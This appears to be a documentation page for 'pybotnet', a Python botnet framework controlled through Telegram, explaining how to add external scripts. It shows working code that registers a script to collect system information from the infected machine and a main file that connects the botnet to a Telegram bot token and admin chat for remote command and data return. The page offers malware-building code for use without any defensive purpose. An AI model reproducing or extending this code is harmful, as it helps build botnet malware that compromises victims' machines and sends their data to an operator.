External scripts

You can write a series of scripts outside the main file and add it to your botnet by importing ExternalScripts

For example:

external_scripts.py
from pybotnet import ExternalScripts, Context # (1)


external_botnet = ExternalScripts() # (2)

@external_botnet.add_script() # (3)
def hello_world():
    """return hello_world"""
    return "hello_world"


@external_botnet.add_script(script_name='sys_data', script_version="0.1.0") # (4)
def get_system_info(context: Context):
    """return system_info"""
    sys_data = ""
    for key, value in context.system_info().items():
        sys_data += f"{key}: {value}\n"
    return sys_data
  1. import ExternalScripts from pybotnet
  2. Create ExternalScripts instance
  3. Add some simple script
  4. Create other script..

In the above code we created an instance of ExternalScripts (this is a botNet child) and added our scripts..

main.py
from pybotnet import BotNet, TelegramEngine
from external_scripts import external_botnet # (1)

telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID)

botnet = BotNet(telegram_engine)

botnet.import_external_scripts(external_botnet) # (2)

botnet.run() # (3) 
  1. Import external_botnet from external_scripts.py
  2. add external scripts to our botnet instance
  3. or you can use botnet.run_background(), botnet.stop_background()

import external_botnet from external_script.py and add external scripts to botnet by call botnet.import_external_scripts(external_botnet)